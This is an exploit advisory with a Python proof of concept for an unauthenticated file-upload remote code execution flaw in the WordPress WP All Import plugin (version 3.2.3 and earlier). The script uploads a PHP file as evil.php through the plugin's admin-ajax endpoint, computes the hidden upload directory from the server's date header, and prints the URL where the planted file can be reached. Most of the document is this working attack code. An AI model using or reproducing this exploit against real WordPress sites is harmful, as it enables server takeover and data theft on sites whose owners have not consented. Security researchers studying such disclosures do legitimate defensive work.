------------------------------------------------------------------------------ WordPress WP All Import Plugin RCE ------------------------------------------------------------------------------ [-] Vulnerability Author: James Golovich ( @Pritect ) [-] Exploit Author Evex ( @Evex_1337 ) [-] Plugin Link: https://wordpress.org/plugins/wp-all-import/ [-] Affected Version: Version <= 3.2.3 [-] Vulnerability Description: Retrieve any file on the system that ends in .txt Retrieve any file on the system that ends in .html Retrieve any value from the postmeta table Upload arbitrary files to system Reference: http://www.pritect.net/blog/wp-all-import-3-2-3-pro-4-0-3-vulnerability-breakdown [-] Proof of Concept: #needs to run: php - python with requests lib installed https://pypi.python.org/pypi/requests import requests,os site="localhost/x/wordpress" file_to_upload = 'evex.php' up_req = requests.post('http:// '+site+'/wp-admin/admin-ajax.php?page=pmxi-admin-settings&action=upload&name=evil.php',data=open(file_to_upload,'rb').read(),timeout=20) up_dir = os.popen('php -r "print md5(strtotime(\''+up_req.headers['date']+'\'));"').read() print "http:// "+site+"/wp-content/uploads/wpallimport/uploads/"+up_dir+"/evil.php"